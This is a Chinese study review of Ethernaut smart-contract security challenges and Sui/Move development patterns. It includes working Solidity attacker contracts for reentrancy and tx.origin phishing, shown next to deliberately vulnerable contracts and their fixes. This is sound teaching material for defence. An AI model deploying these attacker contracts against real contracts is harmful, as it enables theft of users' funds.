复习 - Week 10总结 (Ethernaut + Sui开发)
### 1. Week 10 学习路径回顾
日期: 2026-06-23 方向: Solidity / Move/Sui 阶段: 第三阶段:安全审计 标签: #复习 #Ethernaut #Sui开发 #安全 #攻防总结
今日目标
- 回顾 Week 10 所有 Ethernaut 挑战和安全漏洞模式
- 梳理 Sui 开发完整工作流和核心概念
- 构建"攻击模式 → 防御策略"映射表
- 深度对比 Move/Sui 为什么比 EVM 更安全
核心概念
1. Week 10 学习路径回顾
Week 10 学习轨迹:
├── Day 55: Ethernaut #1 Fallback + #2 Fallout
│ → receive/fallback 函数风险, 构造函数命名错误
├── Day 56: Ethernaut #3 Coin Flip + #4 Telephone
│ → 链上随机数不安全, tx.origin vs msg.sender
├── Day 57: Ethernaut #5 Token + #6 Delegation
│ → 整数溢出, delegatecall 存储冲突
├── Day 58: Ethernaut #7 Force + #8 Vault
│ → selfdestruct 强制转账, 链上数据不是隐私的
├── Day 59: Ethernaut #9 King + #10 Reentrancy
│ → 拒绝服务 (DoS), 经典重入攻击
├── Day 60: Sui 开发基础 (Counter/NFT/Coin)
│ → Sui 对象模型, 所有权, Move 基础
└── Day 61: Sui Kiosk + NFT 市场
→ TransferPolicy, 版税强制执行
2. Ethernaut 攻击模式总结
2.1 访问控制类漏洞
| Challenge | 漏洞 | 攻击原理 | 防御 |
|---|---|---|---|
| #1 Fallback | receive() 可改变 owner | 发送 ETH 就能接管合约 | 不要在 fallback 中做权限变更 |
| #2 Fallout | 构造函数拼写错误 | 任何人可调用"构造函数" | 使用 constructor 关键字 |
| #4 Telephone | tx.origin 做认证 | 通过中间合约绕过 | 永远用 msg.sender |
2.2 数据安全类漏洞
| Challenge | 漏洞 | 攻击原理 | 防御 |
|---|---|---|---|
| #8 Vault | private 变量可读 | 直接读取 storage slot | 敏感数据不要存链上 |
| #3 Coin Flip | 链上"随机"可预测 | 用同一区块数据计算 | 使用 Chainlink VRF |
2.3 底层调用类漏洞
| Challenge | 漏洞 | 攻击原理 | 防御 |
|---|---|---|---|
| #6 Delegation | delegatecall 存储冲突 | 改写了调用者的 storage | 确保 storage layout 一致 |
| #7 Force | selfdestruct 强制转 ETH | 绕过所有检查发送 ETH | 不要依赖 address(this).balance 做逻辑 |
2.4 状态操纵类漏洞
| Challenge | 漏洞 | 攻击原理 | 防御 |
|---|---|---|---|
| #5 Token | 整数下溢 | balances[msg.sender] - _value 下溢 | 使用 Solidity ≥0.8 或 SafeMath |
| #10 Reentrancy | 先转账后更新状态 | 在回调中递归调用 | CEI 模式 + ReentrancyGuard |
| #9 King | 无法接收 ETH 的合约 | 回退函数 revert 造成 DoS | 使用 Pull 模式 |
3. 安全编码核心原则
安全编码金字塔:
┌───────────┐
│ 形式化 │ Move Prover, Certora
│ 验证 │
┌───┴───────────┴───┐
│ 自动化工具扫描 │ Slither, Mythril, Aderyn
┌───┴───────────────────┴───┐
│ 手动审计 + 同行评审 │ 代码审查, 攻击思维
┌───┴───────────────────────────┴───┐
│ 安全编码模式和最佳实践 │ CEI, ReentrancyGuard
┌───┴───────────────────────────────────┴───┐
│ 语言和框架层面的安全保障 │ Move 类型系统, Solidity 0.8+
└───────────────────────────────────────────┘
4. Sui 开发知识体系
Sui 开发知识树:
├── 对象模型
│ ├── Owned Objects (单所有者)
│ ├── Shared Objects (共享, 需共识)
│ ├── Immutable Objects (不可变)
│ └── Wrapped Objects (嵌套在其他对象中)
│
├── 能力系统 (Abilities)
│ ├── key → 可作为对象(有 id 字段)
│ ├── store → 可存储在其他对象中
│ ├── copy → 可复制
│ └── drop → 可丢弃(离开作用域时自动销毁)
│
├── 核心模式
│ ├── One-Time Witness (OTW) → 模块初始化
│ ├── Witness Pattern → 类型级授权
│ ├── Hot Potato → 强制完成操作序列
│ ├── Capability Pattern → 基于对象的权限
│ └── Transfer Policy → 强制规则执行
│
├── 开发工作流
│ ├── sui move new → 创建项目
│ ├── sui move build → 编译
│ ├── sui move test → 测试
│ ├── sui client publish → 发布
│ └── sui client call → 调用函数
│
└── 框架模块
├── sui::object → 对象创建和管理
├── sui::transfer → 转移和共享
├── sui::coin → 自定义代币
├── sui::kiosk → 去中心化商务
├── sui::transfer_policy → 转移规则
├── sui::display → 链上显示标准
└── sui::event → 事件发射
代码实战
实战 1: 完整攻击→防御代码对照
重入攻击(最经典的例子)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
// ===== 漏洞合约 =====
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// 漏洞: 先转账,后更新状态
function withdraw() external {
uint256 balance = balances[msg.sender];
require(balance > 0, "No balance");
// 危险! 外部调用在状态更新之前
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed");
// 这行在重入攻击中太晚了
balances[msg.sender] = 0;
}
}
// ===== 攻击合约 =====
contract ReentrancyAttacker {
VulnerableBank public target;
constructor(address _target) {
target = VulnerableBank(_target);
}
function attack() external payable {
target.deposit{value: msg.value}();
target.withdraw();
}
// 每次收到 ETH 时递归调用 withdraw
receive() external payable {
if (address(target).balance >= target.balances(address(this))) {
target.withdraw();
}
}
}
// ===== 修复后的合约 =====
contract SecureBank {
mapping(address => uint256) public balances;
bool private _locked;
modifier nonReentrant() {
require(!_locked, "Reentrant call");
_locked = true;
_;
_locked = false;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// 修复 1: CEI 模式 (Checks-Effects-Interactions)
// 修复 2: nonReentrant 修饰符
function withdraw() external nonReentrant {
uint256 balance = balances[msg.sender];
require(balance > 0, "No balance"); // Checks
balances[msg.sender] = 0; // Effects (先更新状态!)
(bool success, ) = msg.sender.call{value: balance}(""); // Interactions
require(success, "Transfer failed");
}
}
tx.origin 攻击
// ===== 漏洞合约 =====
contract VulnerableWallet {
address public owner;
constructor() { owner = msg.sender; }
// 漏洞: 使用 tx.origin 做认证
function transfer(address to, uint256 amount) external {
require(tx.origin == owner, "Not owner");
payable(to).transfer(amount);
}
}
// ===== 攻击合约 =====
contract TxOriginAttacker {
VulnerableWallet public target;
address public attacker;
constructor(address _target) {
target = VulnerableWallet(_target);
attacker = msg.sender;
}
// 诱骗 owner 调用这个函数
function claimReward() external {
// tx.origin 是 owner,但 msg.sender 是本合约
target.transfer(attacker, address(target).balance);
}
}
// ===== 修复 =====
contract SecureWallet {
address public owner;
constructor() { owner = msg.sender; }
// 修复: 使用 msg.sender
function transfer(address to, uint256 amount) external {
require(msg.sender == owner, "Not owner");
payable(to).transfer(amount);
}
}
实战 2: Sui 核心模式速查代码
module review::patterns_cheatsheet {
use std::string::String;
use sui::event;
// ===== 模式 1: Capability Pattern(能力模式)=====
// 用途: 基于对象的权限控制
public struct AdminCap has key, store {
id: UID,
}
public struct Config has key {
id: UID,
fee_bps: u64,
}
// 只有持有 AdminCap 的人才能调用
public fun update_fee(
_admin: &AdminCap,
config: &mut Config,
new_fee: u64,
) {
config.fee_bps = new_fee;
}
// ===== 模式 2: One-Time Witness (OTW) =====
// 用途: 保证模块初始化只执行一次
public struct MY_MODULE has drop {}
fun init(otw: MY_MODULE, ctx: &mut TxContext) {
// otw 只在模块发布时创建一次
// 用于创建 Publisher, Coin, Display 等唯一对象
let admin = AdminCap { id: object::new(ctx) };
transfer::transfer(admin, ctx.sender());
}
// ===== 模式 3: Hot Potato =====
// 用途: 强制调用者完成一系列操作
/// 没有 drop 能力! 必须被消耗
public struct FlashLoanReceipt {
amount: u64,
fee: u64,
}
// 借款 - 返回 receipt(没有 drop,必须归还)
public fun flash_borrow(amount: u64): (u64, FlashLoanReceipt) {
let receipt = FlashLoanReceipt {
amount,
fee: amount / 100, // 1% 手续费
};
(amount, receipt)
}
// 还款 - 消耗 receipt
public fun flash_repay(receipt: FlashLoanReceipt, repaid: u64) {
let FlashLoanReceipt { amount, fee } = receipt;
assert!(repaid >= amount + fee, 0);
// receipt 被解构,不再存在
}
// ===== 模式 4: Witness Pattern =====
// 用途: 类型级别的授权证明
/// witness 必须由特定模块创建
public struct CreatePoolWitness has drop {}
public fun create_pool(_witness: CreatePoolWitness) {
// 只有能创建 CreatePoolWitness 的模块才能调用
}
// ===== 模式 5: Object Wrapping =====
// 用途: 动态组合对象
public struct Sword has key, store {
id: UID,
damage: u64,
}
public struct Hero has key {
id: UID,
name: String,
weapon: Option<Sword>, // 包装其他对象
}
public fun equip(hero: &mut Hero, sword: Sword) {
option::fill(&mut hero.weapon, sword);
}
public fun unequip(hero: &mut Hero): Sword {
option::extract(&mut hero.weapon)
}
}
实战 3: 安全对比——同一逻辑在 Solidity vs Move 的实现
// ===== Solidity: 代币转账 =====
// 需要手动防止溢出和重入
contract SimpleToken {
mapping(address => uint256) balances;
// 隐患: 如果 Solidity < 0.8,可能溢出
// 隐患: 外部调用可能导致重入
function transfer(address to, uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient");
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
// ===== Move: 代币转账 =====
// 类型系统自动保证安全
module safe_token::token {
use sui::coin::{Self, Coin, TreasuryCap};
use sui::sui::SUI;
// Coin<T> 是一个资源类型
// - 不能复制 (no copy) → 不能凭空创造代币
// - 不能丢弃 (no drop) → 不能销毁代币(除非显式调用 burn)
// - 转移时从 A 移走 → 不存在"双花"
// Move 版本的"转账"就是 transfer::public_transfer
// 根本不需要余额映射 (mapping)
// Coin 对象自身代表所有权
public fun send_payment(
coin: Coin<SUI>, // 调用者必须拥有这个 Coin
recipient: address,
) {
// coin 从调用者手中转移给 recipient
// 无法重入,无法溢出,无法双花
transfer::public_transfer(coin, recipient);
}
// 拆分代币
public fun split_and_send(
coin: &mut Coin<SUI>,
amount: u64,
recipient: address,
ctx: &mut TxContext,
) {
let payment = coin::split(coin, amount, ctx);
transfer::public_transfer(payment, recipient);
}
}
关键要点总结
攻击模式 → 防御策略 完整映射表
| # | 攻击模式 | 漏洞根因 | 防御策略 | Move/Sui是否免疫 |
|---|---|---|---|---|
| 1 | 重入攻击 | 外部调用在状态更新前 | CEI + ReentrancyGuard | 是 |
| 2 | 整数溢出/下溢 | 无边界检查 | Solidity 0.8+ / SafeMath | 是 |
| 3 | tx.origin 钓鱼 | tx.origin 做认证 | 使用 msg.sender | N/A |
| 4 | delegatecall 注入 | 存储布局冲突 | 审慎使用 proxy | 是 |
| 5 | selfdestruct 强制发 ETH | 依赖余额做逻辑 | 不依赖 address.balance | 是 |
| 6 | 链上随机数预测 | 使用区块数据做随机 | Chainlink VRF | 需VRF |
| 7 | 访问控制缺失 | 缺少权限检查 | OpenZeppelin Ownable/AccessControl | Capability |
| 8 | 私有数据泄露 | 链上数据公开 | 不存敏感数据在链上 | 同样公开 |
| 9 | DoS via revert | 依赖外部调用成功 | Pull over Push | 部分免疫 |
| 10 | 前端/构造函数攻击 | 拼写错误/疏忽 | 使用 constructor 关键字 | init()自动 |
Move/Sui 为什么更安全?
Move 安全优势层次:
1. 资源类型系统(最核心)
- 资源不能复制 → 无双花
- 资源不能丢弃 → 无意外丢失
- 所有权是强制的 → 无未授权访问
2. 无动态调度
- 没有 delegatecall → 无存储冲突攻击
- 没有回调函数 → 无重入攻击
- 调用目标在编译时确定 → 无代理合约风险
3. 对象模型
- 全局存储不可任意访问 → 无 storage slot 读取
- 对象访问需要所有权证明 → 减少越权操作
- 共享对象需要显式标记 → 并发控制更明确
4. 模块系统
- 结构体字段默认私有 → 封装性更强
- 类型只能在定义模块中创建 → 无伪造
- init() 函数自动调用 → 无构造函数攻击
5. 形式化验证
- Move Prover 内置支持 → 数学证明正确性
- Specification Language → 声明不变量
但 Move/Sui 不能防止的问题
Move 无法解决的安全问题:
├── 业务逻辑错误(如价格计算错误)
├── 预言机操纵(外部数据源问题)
├── 治理攻击(社会工程学)
├── 前端攻击(钓鱼网站)
├── 密钥管理不当(私钥泄露)
├── 经济模型设计缺陷(Death Spiral)
└── 共享对象竞态条件(需要仔细设计)
常见误区
误区 1: "Move 没有重入,所以 DeFi 一定安全"
纠正: Move 确实消除了重入攻击,但 DeFi 安全远不止重入。闪电贷攻击、预言机操纵、价格滑点等问题与语言无关,需要在业务逻辑层面防护。Sui 上的 DeFi 协议同样可能因为数学错误或经济模型缺陷而被攻击。
误区 2: "学了 Ethernaut 就能做审计了"
纠正: Ethernaut 是入门级安全训练,覆盖的是最基础的漏洞模式。真实审计需要理解复杂的 DeFi 组合性、闪电贷交互、MEV、跨链消息等高级话题。Ethernaut 是必要的第一步,但远远不够。
误区 3: "Sui 不需要安全审计"
纠正: 虽然 Move 消除了一大类漏洞,但 Sui 上的合约仍然需要审计。常见的 Sui 安全问题包括:
- 共享对象的并发访问逻辑错误
- 对象所有权转移逻辑错误
- 数学计算精度问题(整数除法截断)
- 权限管理不当(Capability 泄露或丢失)
误区 4: "Solidity 不安全,应该全面转向 Move"
纠正: Solidity 生态系统经过多年发展,已经有了成熟的安全工具链(Slither/Mythril/Foundry fuzz)、审计方法论和丰富的安全库(OpenZeppelin)。选择语言时安全性是一个因素,但生态成熟度、开发者可用性、链的选择等也很重要。
面试关联
Q1: 如果你在面试中被问到"Solidity 和 Move 的安全性对比",如何系统性回答?
回答框架:
Move 在语言层面提供了更强的安全保证:资源线性类型消除了双花和意外销毁,没有动态调度消除了重入和代理攻击,模块系统提供了更好的封装。
但安全不仅仅是语言问题。Solidity 生态有更成熟的工具链(Slither 静态分析、Foundry fuzz testing、Certora 形式化验证)和审计生态。此外,业务逻辑层面的漏洞(预言机操纵、经济模型缺陷、治理攻击)与语言无关。
从 PM 视角看,选择哪条链/语言需要综合考虑:安全性、开发效率、生态成熟度、用户基数和商业需求。最佳实践是:无论使用什么语言,都需要完善的审计流程。
Q2: 总结 Week 10 学到的最重要的三个安全教训?
回答思路:
- "不要信任外部输入" —— tx.origin、链上随机数、未验证的回调
- "状态更新必须在外部调用之前" —— CEI 模式是黄金法则
- "链上没有秘密" —— private 变量、合约逻辑都是公开的